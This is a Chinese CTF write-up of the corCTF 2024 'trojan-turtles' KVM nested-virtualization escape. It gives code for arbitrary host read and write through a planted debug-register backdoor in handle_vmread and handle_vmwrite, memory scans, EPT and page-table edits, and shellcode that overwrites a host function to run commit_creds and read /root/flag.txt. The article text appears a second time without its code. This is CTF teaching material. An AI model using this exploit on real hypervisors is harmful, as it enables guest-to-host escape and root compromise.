KVM逃逸-嵌套虚拟化-corCTF 2024-trojan-turtles 复现
字数 1769 2025-08-20 18:18:17

KVM逃逸与嵌套虚拟化漏洞利用技术详解

1. KVM基础概念

1.1 KVM概述

KVM(Kernel-based Virtual Machine)是一种基于Linux内核的虚拟化技术,允许Linux内核充当虚拟机监控器(VMM)或hypervisor。KVM的主要目的是提供一个统一接口,使用户空间程序能够利用硬件虚拟化特性(如Intel的VMX和AMD的SVM)来创建和管理虚拟机。

1.2 KVM实现机制

KVM通过/dev/kvm字符设备驱动程序实现,提供了一系列ioctl命令用于管理和控制虚拟机状态和行为:

  • KVM_SET_REGS:设置虚拟机寄存器状态
  • KVM API文档:详细说明可用ioctl命令和参数结构

1.3 KVM编译选项

  • 编译到内核中:CONFIG_KVM_INTEL=y
  • 编译为内核模块:CONFIG_KVM_INTEL=m

1.4 QEMU与KVM结合

  • 使用KVM:--enable-kvm参数启动QEMU,利用硬件虚拟化特性
  • 不使用KVM:纯软件模拟,性能较低

2. 嵌套虚拟化技术

2.1 VMX指令集

Intel处理器有一组特殊指令专门用于虚拟化,称为VMX(Virtual Machine Extensions)指令:

  • 包括VMXON、VMXOFF、VMLAUNCH、VMRESUME、VMREAD、VMWRITE等
  • 启用VMXE位后处理器才能识别和执行这些指令

2.2 嵌套虚拟化层级

  • L0:主机VMM (Hypervisor)
  • L1:第一层虚拟机,运行自己的VMM
  • L2:第二层虚拟机(可选)

2.3 L1执行VMX指令流程

  1. 指令拦截:L1尝试执行VMX指令
  2. VM Exit到L0:控制权转移到L0 VMM
  3. L0 VMM分析:确定VMX指令导致的退出
  4. 模拟执行:L0模拟指令效果
  5. 虚拟VMCS操作:操作分配给L1的虚拟VMCS
  6. 状态更新:更新L1的虚拟状态
  7. VM Entry回到L1

2.4 L1创建L2的特殊情况

  1. L1执行VMLAUNCH/VMRESUME
  2. L0拦截并模拟,创建用于L2的新虚拟VMCS
  3. 实际VM Entry进入L2

3. 漏洞分析

3.1 漏洞位置

handle_vmreadhandle_vmwrite函数中存在漏洞:

// handle_vmwrite漏洞代码
if (kvm_get_dr(a1, 0LL) == 0x1337BABE) {
    dr = kvm_get_dr(a1, 1LL);
    *(_QWORD *)(v7 + 8 * dr) = kvm_get_dr(a1, 2LL);
}

// handle_vmread漏洞代码
if (kvm_get_dr(a1, 0LL) == 0x1337BABE) {
    dr = kvm_get_dr(a1, 1LL);
    kvm_set_dr(a1, 2LL, *(_QWORD *)(v6 + 8 * dr));
}

3.2 漏洞原理

kvm_get_dr(a1, 0LL)返回0x1337BABE时:

  • handle_vmwrite:将db[2]写入struct vmcs12 + 8*db[1]
  • handle_vmread:将struct vmcs12 + 8*db[1]读入db[2]

这导致可以相对struct vmcs12 *的任意地址读写,而vmcs12指向虚拟机分配的VMCS在主机上的地址。

4. 漏洞利用步骤

4.1 VMX初始化准备

  1. 分配并初始化VMXON Region和VMCS Region:
vmxon_page = kmalloc(4096, GFP_KERNEL);
memset(vmxon_page, 0, 4096);
vmcs_page = kmalloc(4096, GFP_KERNEL);
memset(vmcs_page, 0, 4096);
  1. 设置vmxon_page和vmcs_page开头信息:
asm volatile("rdmsr" : "=a"(a), "=d"(d) : "c"(MSR_IA32_VMX_BASIC));
uint64_t vmcs_revision = a | ((uint64_t)d << 32);
*(uint64_t*)(vmxon_page) = vmcs_revision;
*(uint64_t*)(vmcs_page) = vmcs_revision;
  1. 启动VMX模式:
asm volatile("movq %cr4, %rax\n\t"
             "bts $13, %rax\n\t"
             "movq %rax, %cr4");
  1. 执行vmxon和vmptrld指令:
asm volatile("vmxon %[pa]\n\t" "setna %[ret]"
             : [ret] "=rm"(vmxonret)
             : [pa] "m"(vmxon_page_pa)
             : "cc", "memory");

4.2 实现任意地址读写

  1. 任意读实现:
static size_t read_relative(size_t offset_to_nest_vmcs) {
    size_t value;
    size_t magic = 0x1337BABE;
    asm("movq %0, %%db0" :: "r"(magic));
    asm("movq %0, %%db1" :: "r"(offset_to_nest_vmcs));
    asm volatile("vmread %1, %0\n\t" : "=r"(vmcs_field_value) : "r"(vmcs_field));
    asm("movq %%db2, %0" : "=r"(value));
    return value;
}
  1. 任意写实现:
static void write_relative(size_t offset_to_nest_vmcs, size_t value) {
    size_t magic = 0x1337BABE;
    asm("movq %0, %%db0" :: "r"(magic));
    asm("movq %0, %%db1" :: "r"(offset_to_nest_vmcs));
    asm("movq %0, %%db2" :: "r"(value));
    asm volatile("vmwrite %1, %0\n\t" : "=r"(vmcs_field_value) : "r"(vmcs_field));
}

4.3 寻找虚拟机VMCS偏移

通过扫描内存查找guest_idtr_base字段(偏移0x208处):

for (i = 0; i < 0x4000; i++) {
    pos_offset = ((i * 0x1000) + 0x208) / 8;
    pos_val = read_relative(pos_offset);
    if (pos_val == 0xfffffe0000000000) {
        found_offset = pos_offset;
        break;
    }
}

4.4 寻找nested_vmx结构

扫描内存查找包含已知VMXON区域和VMCS物理地址的位置:

for (i = 1; i < (0x4000 * 0x200); i += 2) {
    pos_offset = i;
    if (read_relative(pos_offset)== vmcs_page_pa && 
        read_relative(pos_offset-2) == vmxon_page_pa) {
        found_offset = pos_offset;
        break;
    }
}

4.5 获取EPT表

  1. 从虚拟机VMCS获取EPTP:
eptp_value = read_relative(l1_vmcs_offset -50);
ept_addr = physbase + (eptp_value & ~0xfffull);
  1. 修改EPT表项:
write_relative(third_offset + 6, 0x87);

4.6 修改虚拟机页表

  1. 获取CR3寄存器值:
cr3 = read_cr3();
  1. 修改页表项:
four = (cr3 & ~0xfffull) + page_offset_base;
third_page = kzalloc(0x1000, GFP_KERNEL);
third = virt_to_phys(third_page);
four[272] = third | 0x7;
third[0] = 0x180000000 | 0x87;

4.7 覆盖关键函数

  1. 查找handle_vmread函数:
for (i = 0; i < (1 << 18); i += 0x1000) {
    val = *((unsigned long long*)(0xffff880000000503 + i));
    if (val == 0x1C70BF440F4C) {
        handle_vmread_page = 0xffff880000000000 + i;
        break;
    }
}
  1. 覆盖函数代码:
memset(handle_vmread, 0x90, 0x281);
handle_vmread[0x286] = 0xc3;
memcpy(handle_vmread, shellcode, sizeof(shellcode)-1);

5. Shellcode设计

push rax
push rbx
; 保存寄存器状态

; 获取kaslr基址
mov rax, 0xfffffe0000000004
mov rax, [rax]
sub rax, 0x1008e00
mov r12, rax

; 调用commit_creds(init_cred)
mov r13, r12
add r13, 0xbdad0
mov r14, r12
add r14, 0x1a52ca0
mov rdi, r14
call r13

; 调用filp_open打开文件
mov r11, r12
add r11, 0x292420
mov rax, 0x7478742e6761  ; "ag.txt"
push rax
mov rax, 0x6c662f746f6f722f  ; "/root/fl"
push rax
mov rdi, rsp
mov rsi, 0
call r11

; 调用kernel_read读取文件
mov r11, r12
add r11, 0x294c70
mov r9, r12
add r9, 0x18ab000
mov rdi, r10
mov rsi, r9
mov rdx, 0x100
mov rcx, 0
call r11

pop rax
pop rax
; 恢复寄存器状态

6. 总结与防御

6.1 漏洞利用总结

  1. 通过VMX指令触发漏洞实现任意地址读写
  2. 利用内存扫描定位关键数据结构
  3. 修改EPT和页表实现内存映射
  4. 覆盖关键函数执行shellcode

6.2 防御建议

  1. 加强VMX指令的权限检查
  2. 对DR寄存器的使用进行严格验证
  3. 实施更严格的嵌套虚拟化隔离机制
  4. 定期更新KVM和内核版本

6.3 关键点回顾

  • 漏洞根源在于DR寄存器检查不严
  • 利用相对地址读写突破隔离
  • 通过修改内存映射实现逃逸
  • Shellcode需要精心设计以避免破坏虚拟机状态
KVM逃逸与嵌套虚拟化漏洞利用技术详解 1. KVM基础概念 1.1 KVM概述 KVM(Kernel-based Virtual Machine)是一种基于Linux内核的虚拟化技术,允许Linux内核充当虚拟机监控器(VMM)或hypervisor。KVM的主要目的是提供一个统一接口,使用户空间程序能够利用硬件虚拟化特性(如Intel的VMX和AMD的SVM)来创建和管理虚拟机。 1.2 KVM实现机制 KVM通过 /dev/kvm 字符设备驱动程序实现,提供了一系列ioctl命令用于管理和控制虚拟机状态和行为: KVM_ SET_ REGS :设置虚拟机寄存器状态 KVM API文档 :详细说明可用ioctl命令和参数结构 1.3 KVM编译选项 编译到内核中: CONFIG_KVM_INTEL=y 编译为内核模块: CONFIG_KVM_INTEL=m 1.4 QEMU与KVM结合 使用KVM: --enable-kvm 参数启动QEMU,利用硬件虚拟化特性 不使用KVM:纯软件模拟,性能较低 2. 嵌套虚拟化技术 2.1 VMX指令集 Intel处理器有一组特殊指令专门用于虚拟化,称为VMX(Virtual Machine Extensions)指令: 包括VMXON、VMXOFF、VMLAUNCH、VMRESUME、VMREAD、VMWRITE等 启用VMXE位后处理器才能识别和执行这些指令 2.2 嵌套虚拟化层级 L0:主机VMM (Hypervisor) L1:第一层虚拟机,运行自己的VMM L2:第二层虚拟机(可选) 2.3 L1执行VMX指令流程 指令拦截:L1尝试执行VMX指令 VM Exit到L0:控制权转移到L0 VMM L0 VMM分析:确定VMX指令导致的退出 模拟执行:L0模拟指令效果 虚拟VMCS操作:操作分配给L1的虚拟VMCS 状态更新:更新L1的虚拟状态 VM Entry回到L1 2.4 L1创建L2的特殊情况 L1执行VMLAUNCH/VMRESUME L0拦截并模拟,创建用于L2的新虚拟VMCS 实际VM Entry进入L2 3. 漏洞分析 3.1 漏洞位置 在 handle_vmread 和 handle_vmwrite 函数中存在漏洞: 3.2 漏洞原理 当 kvm_get_dr(a1, 0LL) 返回 0x1337BABE 时: handle_vmwrite :将 db[2] 写入 struct vmcs12 + 8*db[1] handle_vmread :将 struct vmcs12 + 8*db[1] 读入 db[2] 这导致可以相对 struct vmcs12 * 的任意地址读写,而 vmcs12 指向虚拟机分配的VMCS在主机上的地址。 4. 漏洞利用步骤 4.1 VMX初始化准备 分配并初始化VMXON Region和VMCS Region: 设置vmxon_ page和vmcs_ page开头信息: 启动VMX模式: 执行vmxon和vmptrld指令: 4.2 实现任意地址读写 任意读实现: 任意写实现: 4.3 寻找虚拟机VMCS偏移 通过扫描内存查找 guest_idtr_base 字段(偏移0x208处): 4.4 寻找nested_ vmx结构 扫描内存查找包含已知VMXON区域和VMCS物理地址的位置: 4.5 获取EPT表 从虚拟机VMCS获取EPTP: 修改EPT表项: 4.6 修改虚拟机页表 获取CR3寄存器值: 修改页表项: 4.7 覆盖关键函数 查找handle_ vmread函数: 覆盖函数代码: 5. Shellcode设计 6. 总结与防御 6.1 漏洞利用总结 通过VMX指令触发漏洞实现任意地址读写 利用内存扫描定位关键数据结构 修改EPT和页表实现内存映射 覆盖关键函数执行shellcode 6.2 防御建议 加强VMX指令的权限检查 对DR寄存器的使用进行严格验证 实施更严格的嵌套虚拟化隔离机制 定期更新KVM和内核版本 6.3 关键点回顾 漏洞根源在于DR寄存器检查不严 利用相对地址读写突破隔离 通过修改内存映射实现逃逸 Shellcode需要精心设计以避免破坏虚拟机状态